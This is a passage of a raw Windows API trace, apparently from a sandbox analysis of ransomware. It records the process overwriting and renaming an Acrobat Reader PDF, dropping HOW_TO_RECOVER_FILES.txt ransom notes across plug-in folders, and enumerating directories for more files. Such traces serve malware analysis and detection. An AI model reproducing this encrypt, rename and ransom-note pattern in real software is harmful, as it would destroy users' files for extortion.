(dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.646] GetFileType (hFile=0x7c8) returned 0x1 [0106.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.646] GetFileType (hFile=0x7c8) returned 0x1 [0106.646] WriteFile (in: hFile=0x7c8, lpBuffer=0x3486ba0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35a1b8, lpOverlapped=0x0 | out: lpBuffer=0x3486ba0*, lpNumberOfBytesWritten=0x1f35a1b8*=0x1010, lpOverlapped=0x0) returned 1 [0106.646] CloseHandle (hObject=0x7c8) returned 1 [0106.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", lpFilePart=0x0) returned 0x6a [0106.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.gоod", lpFilePart=0x0) returned 0x6f [0106.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a0f0) returned 1 [0106.647] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35a1d0 | out: lpFileInformation=0x1f35a1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3bc75db6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8eb)) returned 1 [0106.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a0b0) returned 1 [0106.647] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf.gоod")) returned 1 [0106.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f359dd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0106.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a2f0) returned 1 [0106.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0106.648] GetFileType (hFile=0x7c8) returned 0x1 [0106.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a260) returned 1 [0106.648] GetFileType (hFile=0x7c8) returned 0x1 [0106.648] WriteFile (in: hFile=0x7c8, lpBuffer=0x3507880*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35a3b8, lpOverlapped=0x0 | out: lpBuffer=0x3507880*, lpNumberOfBytesWritten=0x1f35a3b8*=0x5d0, lpOverlapped=0x0) returned 1 [0106.650] CloseHandle (hObject=0x7c8) returned 1 [0106.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35a800, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0106.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ad20) returned 1 [0106.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0106.650] GetFileType (hFile=0x7c8) returned 0x1 [0106.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35ac90) returned 1 [0106.650] GetFileType (hFile=0x7c8) returned 0x1 [0106.651] WriteFile (in: hFile=0x7c8, lpBuffer=0x350b178*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35ade8, lpOverlapped=0x0 | out: lpBuffer=0x350b178*, lpNumberOfBytesWritten=0x1f35ade8*=0x5d0, lpOverlapped=0x0) returned 1 [0106.652] CloseHandle (hObject=0x7c8) returned 1 [0106.652] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0106.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0106.652] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.966] GetFileType (hFile=0x20c) returned 0x1 [0106.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0106.966] GetFileType (hFile=0x20c) returned 0x1 [0106.967] WriteFile (in: hFile=0x20c, lpBuffer=0x34f2960*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x34f2960*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0106.968] CloseHandle (hObject=0x20c) returned 1 [0106.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0106.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia", lpFilePart=0x0) returned 0x49 [0106.968] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.969] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.969] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0106.970] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0106.970] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0106.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0106.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0106.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia", lpFilePart=0x0) returned 0x49 [0106.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.970] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.970] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0106.971] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0106.971] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0106.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0106.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35adb0) returned 1 [0106.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP", nBufferLength=0x105, lpBuffer=0x1f35a850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP", lpFilePart=0x0) returned 0x4d [0106.971] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x1f35aad0 | out: lpFindFileData=0x1f35aad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.971] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb85c4d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x42e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0106.972] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acf0) returned 1 [0106.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acb0) returned 1 [0106.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35adb0) returned 1 [0106.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP", nBufferLength=0x105, lpBuffer=0x1f35a850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP", lpFilePart=0x0) returned 0x4d [0106.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x1f35aad0 | out: lpFindFileData=0x1f35aad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.973] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.973] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb85c4d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0106.973] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0106.973] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x42e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1 [0106.973] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1 [0106.974] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 0 [0106.974] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acf0) returned 1 [0106.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acb0) returned 1 [0106.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35a800, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x66 [0106.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ad20) returned 1 [0106.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia\\mpp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.977] GetFileType (hFile=0x20c) returned 0x1 [0106.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35ac90) returned 1 [0106.977] GetFileType (hFile=0x20c) returned 0x1 [0106.977] WriteFile (in: hFile=0x20c, lpBuffer=0x3517af0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35ade8, lpOverlapped=0x0 | out: lpBuffer=0x3517af0*, lpNumberOfBytesWritten=0x1f35ade8*=0x5d0, lpOverlapped=0x0) returned 1 [0106.978] CloseHandle (hObject=0x20c) returned 1 [0106.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x62 [0106.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0106.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.979] GetFileType (hFile=0x20c) returned 0x1 [0106.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0106.979] GetFileType (hFile=0x20c) returned 0x1 [0106.980] WriteFile (in: hFile=0x20c, lpBuffer=0x351b3c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x351b3c8*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0106.981] CloseHandle (hObject=0x20c) returned 1 [0106.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0106.981] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers", 